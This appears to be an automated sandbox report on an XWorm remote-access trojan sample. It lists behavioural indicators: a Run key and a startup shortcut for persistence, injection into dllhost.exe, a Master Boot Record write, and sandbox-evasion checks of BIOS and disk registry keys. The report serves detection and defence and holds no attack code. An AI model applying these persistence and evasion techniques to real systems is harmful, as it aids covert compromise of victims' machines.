Malware Analysis Report

2024-11-16 13:32

Sample ID 240621-h2j8kazhph
Target x4rr.exe
SHA256 ac8734f52d12c32450bd49a97fc803c730e4f03b89698bb49e9db473c7730400
Tags
xworm bootkit persistence rat trojan evasion
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

ac8734f52d12c32450bd49a97fc803c730e4f03b89698bb49e9db473c7730400

Threat Level: Known bad

The file x4rr.exe was found to be: Known bad.

Malicious Activity Summary

xworm bootkit persistence rat trojan evasion

Suspicious use of NtCreateUserProcessOtherParentProcess

Detect Xworm Payload

Modifies security service

Xworm

Sets service image path in registry

Checks BIOS information in registry

Checks computer location settings

Executes dropped EXE

Drops startup file

Writes to the Master Boot Record (MBR)

Enumerates connected drives

Looks up external IP address via web service

Adds Run key to start application

Drops file in System32 directory

Suspicious use of SetThreadContext

Drops file in Windows directory

Unsigned PE

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Suspicious use of UnmapMainImage

Scheduled Task/Job: Scheduled Task

Suspicious behavior: GetForegroundWindowSpam

Modifies data under HKEY_USERS

Suspicious use of AdjustPrivilegeToken

Enumerates system info in registry

Suspicious behavior: EnumeratesProcesses

Checks processor information in registry

Checks SCSI registry key(s)

Uses Task Scheduler COM API

Modifies registry class

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-06-21 07:13

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-21 07:13

Reported

2024-06-21 07:16

Platform

win10v2004-20240508-en

Max time kernel

150s

Max time network

149s

Command Line

winlogon.exe

Signatures

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Suspicious use of NtCreateUserProcessOtherParentProcess

Description Indicator Process Target
PID 2384 created 608 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\system32\winlogon.exe

Xworm

trojan rat xworm

Sets service image path in registry

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p" C:\Windows\System32\WaaSMedicAgent.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Windows\system32\wbem\wmiprvse.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\x4rr.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\x4r.exe N/A

Drops startup file

Description Indicator Process Target
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\x4svchost.lnk C:\Users\Admin\AppData\Local\Temp\x4r.exe N/A
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\x4svchost.lnk C:\Users\Admin\AppData\Local\Temp\x4r.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\x4svchost = "C:\\Users\\Admin\\AppData\\Roaming\\x4svchost.exe" C:\Users\Admin\AppData\Local\Temp\x4r.exe N/A

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\B: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\H: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\P: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\R: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\V: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\Y: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\E: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\I: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\M: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\O: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\A: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\L: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\N: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\Q: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\X: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\G: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\J: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\K: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\S: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\T: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\U: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\W: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\Z: C:\Windows\system32\svchost.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PHYSICALDRIVE0 C:\Windows\system32\wbem\wmiprvse.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx C:\Windows\System32\svchost.exe N/A
File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan C:\Windows\system32\svchost.exe N/A
File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx C:\Windows\System32\svchost.exe N/A
File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work C:\Windows\system32\svchost.exe N/A
File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 C:\Windows\system32\svchost.exe N/A
File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 C:\Windows\system32\svchost.exe N/A
File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 C:\Windows\system32\svchost.exe N/A
File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx C:\Windows\System32\svchost.exe N/A
File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work C:\Windows\system32\svchost.exe N/A
File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 C:\Windows\system32\svchost.exe N/A
File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 C:\Windows\system32\svchost.exe N/A
File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
File opened for modification C:\Windows\System32\Tasks\x4svchost C:\Windows\system32\svchost.exe N/A
File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work C:\Windows\system32\svchost.exe N/A
File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 C:\Windows\system32\svchost.exe N/A
File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A C:\Windows\system32\svchost.exe N/A
File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 C:\Windows\system32\svchost.exe N/A
File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 C:\Windows\system32\svchost.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2384 set thread context of 5096 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\SoftwareDistribution\ReportingEvents.log C:\Windows\system32\svchost.exe N/A
File opened for modification C:\Windows\Logs\CBS\CBS.log C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe N/A

Enumerates physical storage devices

Checks SCSI registry key(s)

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\ConfigFlags C:\Windows\system32\wbem\wmiprvse.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000 C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName C:\Windows\system32\wbem\wmiprvse.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\CompatibleIDs C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Mfg C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Service C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc C:\Windows\system32\wbem\wmiprvse.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf C:\Windows\system32\wbem\wmiprvse.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000\LogConf C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\DeviceDesc C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName C:\Windows\system32\wbem\wmiprvse.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 C:\Windows\System32\mousocoreworker.exe N/A
Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Windows\System32\mousocoreworker.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Windows\System32\mousocoreworker.exe N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Windows\System32\mousocoreworker.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier C:\Windows\System32\mousocoreworker.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Windows\System32\mousocoreworker.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Windows\System32\mousocoreworker.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Windows\System32\mousocoreworker.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Windows\System32\mousocoreworker.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier C:\Windows\system32\wbem\wmiprvse.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates C:\Windows\system32\svchost.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections C:\Windows\system32\svchost.exe N/A
Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Windows\system32\svchost.exe N/A
Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates C:\Windows\system32\svchost.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft C:\Windows\System32\mousocoreworker.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018C00DDF3C5ECE" C:\Windows\system32\svchost.exe N/A
Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\system32\svchost.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs C:\Windows\system32\svchost.exe N/A
Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows C:\Windows\System32\mousocoreworker.exe N/A
Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root C:\Windows\system32\svchost.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates C:\Windows\system32\svchost.exe N/A
Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs C:\Windows\system32\svchost.exe N/A
Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust C:\Windows\system32\svchost.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb0100000025211fa19d5026448d80ded9f423a63d00000000020000000000106600000001000020000000992a1184794942c43dfa1c14be627afa87a51c0b6ea1202a9e9cba8ccf36daa5000000000e8000000002000020000000812552528f7261adbee56390d018ab8c92ff7c61c81021c7614a695f1cf25784b00300004020551d07af657a86c894883a73836148d0b5e429d71ea2504f79bbe4108dc7f24d4cda381ed5f9e7d9962910a84a76af11872fb976ea05acaf7a8af3b1c08cc4e7f5f4cd4b09b795276c1e923f7d2aa3dd0538d2edad48abcb506a532175da5a831e9f6c2345d8d74dd4fb712f053cffdcf524082f31936a4fdb38335e445cdfff26f5f748af43daf5a3be1f5de7b4855678b352679456a26a7056cf0544be8649c5e4aaf89f133fb84cd614b4b7d1894408e5023adc0c66c173b62af592d27a45dc0e993075b5399179e7f291b62cf8d0c7f9cb46efa67e2d963d8dc8725535e1b399498eb47b26206b75c3975d1d606b43e2590ca7112c23791aacf7dc80cd4b5d25e3bf3e8f2adc8308d827b3c8d0b38ebef76aea8a3294e80b94f0433f108a223a925c4a5b456dde2abd9044d001318f0c81f2b937422a8f3d2a8a82f61241b58d641b272f4cb69ec5bac18cef45036945cf4b11d35143ad388bac73f017a8e121124ff1cca89990b223c35776458134ec0bdc8d8c6fe9bf9f9fe4afced78bd971318ecc75ee03161ec1d887a4205e5cce699301ab4622e464a76c6ad1bd7d10e01c135c9791e76b99b9d99ed297097f86a059e53468f433dad518eaa7d6a5450813ab7f348d8ec88787ba7c83ace1aab2211c7d69d06c2d4440da5abdb43bf67ebb7c6edd7b19afb27952705c5430ccc0c67af3d51e5362314f67eb8e3163bdc7e76ee6c500dc1eeb370e415ef1a6a85b11da12772c939cff4a5393c0200d4bb368d0a95bc40a72267821eaf39ad667ac545effc798668052b4dbffa91c2e962fbf6af8de80c22c3091f9b960cd5b7c8a64c62065b02d9398e841b4159f38f86b8a794d01be025b2abf68e57af39c9c8c77d64a53360883170c14e9837723a53fc47c46c24f96285e1733391953e77f5ee78ef12216bec1463b7b13781dfccd13c6c3eb9a316ee234b6831f6e4fa03f7947da074325a70ac0c065b5f1661f4927d1f0e2c8e4318f18bab539d1ebcd0258914d25ce37fc6d2815e84aebd4af923d4c6124b771889faee70112d9692713b183c53eac628fefefda6aea8153570da63f4d5f67f279ec998eef8f62193f4e1953feec3e055100d7a5f9cfbe3c480d19dc8ab375c671edf6e88df716e0ddd2f298a302e05475422ed2f9bc3d38f0e8b952d9714941c644735ccccedbf9e769534341756caa9f729e2ed99abcecbeed95ee0813a943fb871d71e779563e5a115e77dd31eb819348cbb34a8401ef49ac83c36b1ff0b1c9e5897c2762efc3573f6964adc9c9af1845650950cce348fcf974d332dd74a374a64ffd489e98400000006b61628a882c85c17a6e82cc78604849d4c1d377a442196a56e50510c6c7109edd1b16ea9a68ea81eea988f46ffb7b44c7ba51016bedc8e7e10a73b133689d13 C:\Windows\System32\mousocoreworker.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\ApplicationFlags = "1" C:\Windows\System32\mousocoreworker.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1718954144" C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople C:\Windows\system32\svchost.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\0018C00DDF3C5ECE = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb0100000025211fa19d5026448d80ded9f423a63d000000000200000000001066000000010000200000009c2f695ed041cd322995ecea8d0dd28cfaafd269fc1a3a0bae2aa60a5389b700000000000e800000000200002000000004caaf45e933a5418d98b3e27e7b43fbfd4f853d3f4cf798f28ac2d590fbdcde80000000ea714647c202b029bf77335908acae3dc8bd869f4ca9dbec89f521115b47726b026406803ed0e614186f0a129678d960981e23220ca420e3c07774b2c3377e394630b63161121a314285b4822cb65bc345a28c75408aacd29cbcfb90afbb9971640e77ec0fd3809c020d824030d3f2ba56dc7b5b186519259f361befb8c8c2e440000000bee63eefb8ec9ee9dd1dd6132f74d6b823e75164985a6bb960cdcdd6dbacb81b262b9ad106632f79d962648bfd7b2917c375c2ec4a5fe88220a4a976a0d92d82 C:\Windows\System32\mousocoreworker.exe N/A
Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed C:\Windows\system32\svchost.exe N/A
Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs C:\Windows\system32\svchost.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot C:\Windows\system32\svchost.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek\CacheStore C:\Windows\System32\mousocoreworker.exe N/A
Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA C:\Windows\system32\svchost.exe N/A
Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\system32\svchost.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs C:\Windows\system32\svchost.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414} C:\Windows\System32\mousocoreworker.exe N/A
Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\system32\svchost.exe N/A
